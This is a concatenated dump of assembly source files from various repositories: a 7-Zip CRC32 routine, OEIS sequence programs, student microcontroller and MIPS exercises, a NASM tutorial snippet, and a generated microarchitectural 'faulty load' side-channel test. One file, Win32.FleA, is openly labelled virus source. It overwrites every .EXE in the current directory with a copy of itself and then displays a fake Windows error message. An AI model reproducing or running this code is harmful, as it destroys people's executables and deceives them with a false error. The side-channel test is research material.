] | null | null | null | third_party/p7zip/Asm/x86/7zCrcOpt_asm.asm | VirtualLib/juice | 3d5912059f3a80ec1fef5c5031a395578904fe9c | [
"MIT"
] | null | null | null | third_party/p7zip/Asm/x86/7zCrcOpt_asm.asm | VirtualLib/juice | 3d5912059f3a80ec1fef5c5031a395578904fe9c | [
"MIT"
] | null | null | null | ; 7zCrcOpt.asm -- CRC32 calculation : optimized version
; 2009-12-12 : Igor Pavlov : Public domain
%include "7zAsm.asm"
MY_ASM_START
%define rD r2
%define rN r7
%ifdef x64
%define num_VAR r8
%define table_VAR r9
%else
data_size equ (REG_SIZE * 7)
crc_table equ (REG_SIZE + data_size)
%define num_VAR [r4 + data_size]
%define table_VAR [r4 + crc_table]
%endif
%define SRCDAT rN + rD + 4 *
%macro CRC 4 ;CRC macro op:req, dest:req, src:req, t:req
%1 %2, DWORD [r5 + %3 * 4 + 0400h * %4] ; op dest, DWORD [r5 + src * 4 + 0400h * t]
%endmacro
%macro CRC_XOR 3 ; CRC_XOR macro dest:req, src:req, t:req
CRC xor, %1, %2, %3
%endmacro
%macro CRC_MOV 3 ; CRC_MOV macro dest:req, src:req, t:req
CRC mov, %1, %2, %3 ; CRC mov, dest, src, t
%endmacro
%macro CRC1b 0
movzx x6, BYTE [rD]
inc rD
movzx x3, x0_L
xor x6, x3
shr x0, 8
CRC xor, x0, r6, 0
dec rN
%endmacro
%macro MY_PROLOG 1 ; MY_PROLOG macro crc_end:req
MY_PUSH_4_REGS
%ifdef x64
%ifdef CYGWIN64
;ECX=CRC, RDX=buf, R8=size R9=table
; already in R8 : mov num_VAR,R8 ; LEN
; already in RDX : mov rD, RDX ; BUF
; already in R9 : mov table_VAR,R9; table
mov x0, ECX ; CRC
%else
;EDI=CRC, RSI=buf, RDX=size RCX=table
mov num_VAR,RDX ; LEN
mov rD, RSI ; BUF
mov table_VAR,RCX; table
mov x0, EDI ; CRC
%endif
%else
mov x0, [r4 + 20] ; CRC
mov rD, [r4 + 24] ; buf
%endif
mov rN, num_VAR
mov r5, table_VAR
test rN, rN
jz near %1 ; crc_end
%%sl:
test rD, 7
jz %%sl_end
CRC1b
jnz %%sl
%%sl_end:
cmp rN, 16
jb near %1; crc_end
add rN, rD
mov num_VAR, rN
sub rN, 8
and rN, NOT 7
sub rD, rN
xor x0, [SRCDAT 0]
%endmacro
%macro MY_EPILOG 1 ; MY_EPILOG macro crc_end:req
xor x0, [SRCDAT 0]
mov rD, rN
mov rN, num_VAR
sub rN, rD
%1: ; crc_end:
test rN, rN
jz %%end ; @F
CRC1b
jmp %1 ; crc_end
%%end:
MY_POP_4_REGS
%endmacro
MY_PROC CrcUpdateT8, 4
MY_PROLOG crc_end_8
mov x1, [SRCDAT 1]
align 16
main_loop_8:
mov x6, [SRCDAT 2]
movzx x3, x1_L
CRC_XOR x6, r3, 3
movzx x3, x1_H
CRC_XOR x6, r3, 2
shr x1, 16
movzx x3, x1_L
movzx x1, x1_H
CRC_XOR x6, r3, 1
movzx x3, x0_L
CRC_XOR x6, r1, 0
mov x1, [SRCDAT 3]
CRC_XOR x6, r3, 7
movzx x3, x0_H
shr x0, 16
CRC_XOR x6, r3, 6
movzx x3, x0_L
CRC_XOR x6, r3, 5
movzx x3, x0_H
CRC_MOV x0, r3, 4
xor x0, x6
add rD, 8
jnz main_loop_8
MY_EPILOG crc_end_8
MY_ENDP
MY_PROC CrcUpdateT4, 4
MY_PROLOG crc_end_4
align 16
main_loop_4:
movzx x1, x0_L
movzx x3, x0_H
shr x0, 16
movzx x6, x0_H
and x0, 0FFh
CRC_MOV x1, r1, 3
xor x1, [SRCDAT 1]
CRC_XOR x1, r3, 2
CRC_XOR x1, r6, 0
CRC_XOR x1, r0, 1
movzx x0, x1_L
movzx x3, x1_H
shr x1, 16
movzx x6, x1_H
and x1, 0FFh
CRC_MOV x0, r0, 3
xor x0, [SRCDAT 2]
CRC_XOR x0, r3, 2
CRC_XOR x0, r6, 0
CRC_XOR x0, r1, 1
add rD, 8
jnz main_loop_4
MY_EPILOG crc_end_4
MY_ENDP
; end
%ifidn __OUTPUT_FORMAT__,elf
section .note.GNU-stack noalloc noexec nowrite progbits
%endif
| 21.27907 | 99 | 0.529781 |
74044e7cd40e2bbbdd99d5595f3c7bcb940505ae | 256 | asm | Assembly | programs/oeis/120/A120513.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/120/A120513.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/120/A120513.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A120513: a(n) = min{j : A120502(j) = n}.
; 1,5,10,11,17,18,20,21,28,29,31,32,35,36,38,39,47,48,50,51,54,55,57,58,62,63,65,66,69,70,72,73,82,83,85,86,89,90,92,93,97,98,100,101,104,105,107,108,113,114
mov $1,1
lpb $0
add $1,$0
div $0,2
add $1,3
lpe
| 25.6 | 157 | 0.605469 |
22074411d186ff86421d68f9e41c71b0196c1ddb | 4,194 | asm | Assembly | List_1/exercise4.asm | dekoperez/SEL0433_microprocessorAplications | 4581af1e5f383eedd8181e941740318368b36a30 | [
"MIT"
] | null | null | null | List_1/exercise4.asm | dekoperez/SEL0433_microprocessorAplications | 4581af1e5f383eedd8181e941740318368b36a30 | [
"MIT"
] | null | null | null | List_1/exercise4.asm | dekoperez/SEL0433_microprocessorAplications | 4581af1e5f383eedd8181e941740318368b36a30 | [
"MIT"
] | null | null | null | ;*******************************************************************************
; @INSTITUTION
; University of Sao Paulo | Sao Carlos School of Engineering | SEL
;------------------------------------------------------------------------------
; @DISCIPLINE
; Name: SEL0433 | Applications of Microprocessors I
; Professor: Evandro Luis Linhari Rodrigues
; Academic Period: 2017\01
;------------------------------------------------------------------------------
; @DEVELOPMENT
; MCU: Intel 8052
; IDE: MCU 8051 v1.5.7
; Compiler: IDE native assembler
;------------------------------------------------------------------------------
; @WARRANTY
; Copyright (c) 2017 Andre Marcos Perez
; The software is provided by "as is", without warranty of any kind, express or
; implied, including but not limited to the warranties of merchantability,
; fitness for a particular purpose and noninfringement. In no event shall the
; authors or copyright holders be liable for any claim, damages or other
; liability, whether in an action of contract, tort or otherwise, arising from,
; out of or in connection with the software or the use or other dealings in the
; software.
;------------------------------------------------------------------------------
; @EXERCISE
; List: #1
; Ex. : #4
;------------------------------------------------------------------------------
; @AUTHOR
; Name: Andre Marcos Perez
; Email: andre.marcos.perez@usp.br
; #USP: 8006891
;*******************************************************************************
;*******************************************************************************
; @CONSTANT
; Code's constants
;------------------------------------------------------------------------------
INTERNAL_RAM_ADDRESS_LOWEST_RESISTANCE EQU 20H
INTERNAL_RAM_ADDRESS_HIGHEST_RESISTANCE EQU 30H
EXTERNAL_RAM_ADDRESS_LOWEST_RESISTANCE EQU 20H
EXTERNAL_RAM_ADDRESS_HIGHEST_RESISTANCE EQU 30H
;*******************************************************************************
;*******************************************************************************
; @CODE
; Main code
;------------------------------------------------------------------------------
ORG 0
MOV R0,#INTERNAL_RAM_ADDRESS_LOWEST_RESISTANCE
MOV R1,#INTERNAL_RAM_ADDRESS_HIGHEST_RESISTANCE
MOV DPTR,#DADOS
LCALL COMPARE_RESISTOR
INC DPTR
LCALL COMPARE_RESISTOR
INC DPTR
LCALL COMPARE_RESISTOR
MOV A,@R0
MOV DPTR,#EXTERNAL_RAM_ADDRESS_LOWEST_RESISTANCE
MOVX @DPTR,A
MOV A,@R1
MOV DPTR,#EXTERNAL_RAM_ADDRESS_HIGHEST_RESISTANCE
MOVX @DPTR,A
SJMP $
DADOS:
DB 150D, 220D, 033D
;DB 220D, 047D, 180D
;*******************************************************************************
;*******************************************************************************
; @ROUTINE
; COMPARE_RESISTOR
;------------------------------------------------------------------------------
; @Description
; Compare a 1 byte resistance value stored on program memory with another two
; 1 byte resistance values pointed by R0 and R1 on internal data memory. If
; higher, swap with the value pointed by R0 and if lower, swap with the value
; pointed by R1. Otherwise, do nothing.
;------------------------------------------------------------------------------
; @Precondition
; R0: Must be pointing to address on internal data memory where the lowest
; resistance is stored
; R1: Must be pointing to address on internal data memory where the highest
; resistance is stored
;------------------------------------------------------------------------------
; @Param
; DPTR: The address on program memory where the resistance value is stored
;------------------------------------------------------------------------------
; @Returns
; Void
;------------------------------------------------------------------------------
COMPARE_RESISTOR:
CLR A
MOVC A,@A+DPTR
PUSH ACC
SUBB A,@R1
JNC A_IS_HIGHER
CJNE @R0,#00H,CONTINUE
SJMP A_IS_LOWER
CONTINUE:
CLR C
POP ACC
PUSH ACC
SUBB A,@R0
JC A_IS_LOWER
POP ACC
RET
A_IS_HIGHER:
POP ACC
XCH A,@R1
RET
A_IS_LOWER:
POP ACC
XCH A,@R0
RET
;*******************************************************************************
END
| 35.542373 | 80 | 0.466142 |
0a233132ed3cb2412d093095aec8d7c52f1b7877 | 1,303 | asm | Assembly | Win32/Win32.FleA/FleA.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | Win32/Win32.FleA/FleA.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | Win32/Win32.FleA/FleA.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z | .386
.model flat
jumps
extrn GetCommandLineA:PROC
extrn lstrcpyA:PROC
extrn FindFirstFileA:PROC
extrn CopyFileA:PROC
extrn FindNextFileA:PROC
extrn MessageBoxA:PROC
extrn ExitProcess:PROC
.data
CopyRight db 'Win32.FleA Virus'
db 'Version 1.0'
db 'by -DiA- (c)02'
db '[My 1st Win32 Virus!]'
FakeError db 'Windows Error 300687',10,13
db 'Can not locate the Entry Point!',0
FileMask db '*.EXE',0
Win32FindData dd 0,0,0,0,0,0,0,0,0,0,0
WhatMake dd 200d dup (0)
MakeThat dd 200d dup (0)
ThisProg dd 200d dup (0)
FindHandle dd 0
.code
start:
call GetCommandLineA
push eax
push offset ThisProg
call lstrcpyA
GetPoint:
cmp byte ptr [eax],'.'
jz FoundPoint
inc eax
jmp GetPoint
FoundPoint:
add eax,4d
mov byte ptr [eax],00
push offset Win32FindData
push offset FileMask
call FindFirstFileA
mov dword ptr [FindHandle],eax
FindNext:
cmp eax,-1
je ErrorMsg
or eax,eax
jz ErrorMsg
push offset WhatMake
push offset MakeThat
call lstrcpyA
push 0
push offset MakeThat
push offset ThisProg+1
call CopyFileA
push offset Win32FindData
push dword ptr [FindHandle]
call FindNextFileA
jmp FindNext
ErrorMsg:
push 16
push offset ThisProg+1
push offset FakeError
push 0
call MessageBoxA
push 0
call ExitProcess
end start | 15.890244 | 42 | 0.726017 |
14e7413394bd8550f9dc7454a2561b6fec7b23b8 | 9,232 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca_notsx.log_21829_404.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca_notsx.log_21829_404.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca_notsx.log_21829_404.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r15
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x12486, %r15
clflush (%r15)
nop
nop
xor $6454, %rcx
movb (%r15), %r9b
nop
nop
nop
nop
xor %r11, %r11
lea addresses_normal_ht+0x5646, %rax
clflush (%rax)
add %rsi, %rsi
mov $0x6162636465666768, %rbp
movq %rbp, %xmm4
vmovups %ymm4, (%rax)
sub %rbp, %rbp
lea addresses_D_ht+0x19786, %rsi
xor %r15, %r15
and $0xffffffffffffffc0, %rsi
movntdqa (%rsi), %xmm5
vpextrq $1, %xmm5, %r9
nop
nop
nop
and $58316, %r15
lea addresses_A_ht+0x49c6, %rsi
cmp $23423, %r15
movb $0x61, (%rsi)
nop
and $32678, %r9
lea addresses_D_ht+0x1e79a, %rax
nop
nop
xor %r11, %r11
mov $0x6162636465666768, %rcx
movq %rcx, %xmm5
and $0xffffffffffffffc0, %rax
movaps %xmm5, (%rax)
nop
nop
nop
and %rcx, %rcx
lea addresses_WT_ht+0x96e6, %rcx
nop
nop
nop
nop
xor %r9, %r9
mov $0x6162636465666768, %r11
movq %r11, %xmm1
movups %xmm1, (%rcx)
nop
nop
and $56983, %r15
lea addresses_WT_ht+0x1a106, %r15
nop
xor $46887, %rsi
mov $0x6162636465666768, %r9
movq %r9, %xmm5
vmovups %ymm5, (%r15)
nop
nop
nop
and %r15, %r15
lea addresses_A_ht+0x16786, %r15
nop
nop
dec %r9
mov (%r15), %rbp
nop
nop
nop
add $36206, %r9
lea addresses_UC_ht+0x17516, %rbp
nop
nop
nop
cmp %r9, %r9
mov (%rbp), %r11d
xor %rcx, %rcx
lea addresses_normal_ht+0x1bb86, %rsi
lea addresses_A_ht+0x1929e, %rdi
nop
nop
nop
nop
and %rax, %rax
mov $20, %rcx
rep movsq
nop
nop
nop
nop
nop
and $29911, %r9
lea addresses_A_ht+0xda36, %r15
nop
nop
nop
nop
nop
sub %rdi, %rdi
mov (%r15), %r9w
nop
nop
nop
add $10703, %r11
lea addresses_A_ht+0xc475, %rsi
lea addresses_D_ht+0x1c586, %rdi
inc %r11
mov $25, %rcx
rep movsl
nop
nop
nop
nop
add %rax, %rax
lea addresses_UC_ht+0xe9c0, %rbp
nop
nop
sub $55143, %rdi
mov $0x6162636465666768, %r11
movq %r11, %xmm7
movups %xmm7, (%rbp)
nop
nop
sub %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r15
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r15
push %r8
push %r9
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_A+0xd046, %r9
nop
cmp $61871, %r14
mov $0x5152535455565758, %rdi
movq %rdi, (%r9)
nop
nop
nop
nop
nop
cmp $19964, %r8
// Store
lea addresses_PSE+0x17f86, %r15
nop
nop
nop
nop
nop
and %rbx, %rbx
mov $0x5152535455565758, %r9
movq %r9, (%r15)
nop
nop
nop
and $45237, %r8
// REPMOV
lea addresses_A+0x1a16, %rsi
lea addresses_WC+0xbb06, %rdi
nop
sub $24250, %r15
mov $63, %rcx
rep movsq
nop
add %rcx, %rcx
// Store
lea addresses_D+0x116ea, %r14
nop
inc %r15
movl $0x51525354, (%r14)
nop
nop
nop
nop
inc %rcx
// REPMOV
mov $0x15e, %rsi
lea addresses_D+0x1ee6, %rdi
nop
cmp %r8, %r8
mov $24, %rcx
rep movsq
nop
nop
nop
nop
nop
cmp $8376, %rdx
// Store
lea addresses_PSE+0x17f86, %r14
clflush (%r14)
nop
nop
nop
nop
nop
and $40075, %r8
mov $0x5152535455565758, %rbx
movq %rbx, %xmm2
vmovups %ymm2, (%r14)
nop
inc %rdx
// Load
lea addresses_A+0x8c1d, %r9
nop
nop
nop
nop
nop
sub $49763, %rdx
movups (%r9), %xmm6
vpextrq $0, %xmm6, %rcx
add $36166, %rsi
// Faulty Load
lea addresses_PSE+0x17f86, %rdx
nop
and %r15, %r15
vmovups (%rdx), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $1, %xmm4, %rbx
lea oracles, %rdi
and $0xff, %rbx
shlq $12, %rbx
mov (%rdi,%rbx,1), %rbx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r15
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_A'}, 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_WC'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_P'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_D'}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': True, 'AVXalign': True, 'size': 16, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 4}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}, 'dst': {'same': True, 'congruent': 1, 'type': 'addresses_A_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 30.368421 | 2,999 | 0.65273 |
84bfb4e61519ddffb7c1f2439bb83eb65a5aa2b3 | 2,305 | asm | Assembly | prototypes/bitmap.asm | brodzik/arko-project-1 | 5b743e898e8156f4260d50860ae5162899db19c4 | [
"MIT"
] | 3 | 2019-11-14T13:15:58.000Z | 2021-11-20T13:06:31.000Z | prototypes/bitmap.asm | brodzik/arko-project-1 | 5b743e898e8156f4260d50860ae5162899db19c4 | [
"MIT"
] | null | null | null | prototypes/bitmap.asm | brodzik/arko-project-1 | 5b743e898e8156f4260d50860ae5162899db19c4 | [
"MIT"
] | null | null | null | .data
FILE_NAME: .asciiz "output.bmp"
FILE: .word 0
HEADER: .byte 'B', 'M' # signature
.byte 0x36, 0x88, 0x13, 0x00 # file size
.byte 0x00, 0x00, 0x00, 0x00 # (reserved)
.byte 0x36, 0x00, 0x00, 0x00 # data offset
.byte 0x28, 0x00, 0x00, 0x00 # size
.byte 0x20, 0x03, 0x00, 0x00 # width
.byte 0x90, 0x01, 0x00, 0x00 # height
.byte 0x01, 0x00 # planes
.byte 0x20, 0x00 # bits per pixel
.word 0 # compression
.word 0 # compressed image size
.word 0 # horizontal resolution
.word 0 # vertical resolution
.word 0 # colors used
.word 0 # important colors
DATA: .space 1280000
.text
.globl main
main:
li $v0, 13 # open file
la $a0, FILE_NAME
li $a1, 1
li $a2, 0
syscall
sw $v0, FILE # save file descriptor
li $v0, 15 # write header
lw $a0, FILE
la $a1, HEADER
li $a2, 54
syscall
li $a0, 0x00FFFFFF
jal set_background
li $a0, 0x00000000
jal draw_x_axis
li $v0, 15 # write data
lw $a0, FILE
la $a1, DATA
li $a2, 1280000
syscall
li $v0, 16 # close file
lw $a0, FILE
syscall
li $v0, 10 # exit
syscall
##################################################################################################
# PROCEDURE: set_background
# INPUT: $a0 bitmap background color
##################################################################################################
set_background:
li $t0, 320000
la $t1, DATA
loop_0:
beqz $t0, end_0
sw $a0, ($t1)
addi $t0, $t0, -1
addi $t1, $t1, 4
j loop_0
end_0:
jr $ra
##################################################################################################
# PROCEDURE: set_pixel
# INPUT: $a0 color, $a1 x-coord, $a2 y-coord
##################################################################################################
set_pixel:
la $t0, DATA
mul $a2, $a2, 800
add $a2, $a2, $a1
mul $a2, $a2, 4
add $t0, $t0, $a2
sw $a0, ($t0)
jr $ra
##################################################################################################
# PROCEDURE: draw_x_axis
# INPUT: $a0 color
##################################################################################################
draw_x_axis:
li $t0, 1600
la $t1, DATA
addi $t1, $t1, 636800
loop_1:
beqz $t0, end_0
sw $a0, ($t1)
addi $t0, $t0, -1
addi $t1, $t1, 4
j loop_1
end_1:
jr $ra | 23.05 | 98 | 0.463774 |
acb8730730782cd05320610cf3a6115f49b7f883 | 107 | asm | Assembly | predaja/tests/testRelocation2.asm | znjRoLS/ss | a99a1e6039c19bf5c2ef656fbc5e7a6a5bf9a7b8 | [
"MIT"
] | null | null | null | predaja/tests/testRelocation2.asm | znjRoLS/ss | a99a1e6039c19bf5c2ef656fbc5e7a6a5bf9a7b8 | [
"MIT"
] | null | null | null | predaja/tests/testRelocation2.asm | znjRoLS/ss | a99a1e6039c19bf5c2ef656fbc5e7a6a5bf9a7b8 | [
"MIT"
] | null | null | null | .public sth123
.public testInstr
.data
sth123: .long 0x87654321
.text.neki
testInstr:
and r1,r2
ret | 13.375 | 24 | 0.728972 |
1aa79cb0b59e368a6ecb706c2d17c0bffcb3fd84 | 301 | asm | Assembly | src/tutorialspoint.com/src/example10.asm | ishirshov/NASM-tutorial-for-Unix | 75173993e35e29bce1c04908573cc034ff32363e | [
"Apache-2.0"
] | null | null | null | src/tutorialspoint.com/src/example10.asm | ishirshov/NASM-tutorial-for-Unix | 75173993e35e29bce1c04908573cc034ff32363e | [
"Apache-2.0"
] | null | null | null | src/tutorialspoint.com/src/example10.asm | ishirshov/NASM-tutorial-for-Unix | 75173993e35e29bce1c04908573cc034ff32363e | [
"Apache-2.0"
] | null | null | null | %include "defines.inc"
section .bss
result resb 1
section .text
global _start
_start:
mov al, 5
mov bl, 3
or al, bl
add al, byte '0'
mov [result], al
mov ecx, result
mov edx, 1
print_stdout:
mov eax, SYS_WRITE
mov ebx, STDOUT
int 80h
sys_exit
| 12.04 | 22 | 0.591362 |
9c0086b3bdf34379510a93a2e63fc11c09e34e70 | 425 | asm | Assembly | programs/oeis/008/A008591.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/008/A008591.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/008/A008591.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A008591: Multiples of 9.
; 0,9,18,27,36,45,54,63,72,81,90,99,108,117,126,135,144,153,162,171,180,189,198,207,216,225,234,243,252,261,270,279,288,297,306,315,324,333,342,351,360,369,378,387,396,405,414,423,432,441,450,459,468,477,486,495,504,513,522,531,540,549,558,567,576,585,594,603,612,621,630,639,648,657,666,675,684,693,702,711,720,729,738,747,756,765,774,783,792,801,810,819,828,837,846,855,864,873,882,891
mul $0,9
| 85 | 387 | 0.729412 |
4d4da285a65bc27e48c98ec97effd061d29e7c84 | 496 | asm | Assembly | oeis/037/A037613.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/037/A037613.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/037/A037613.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
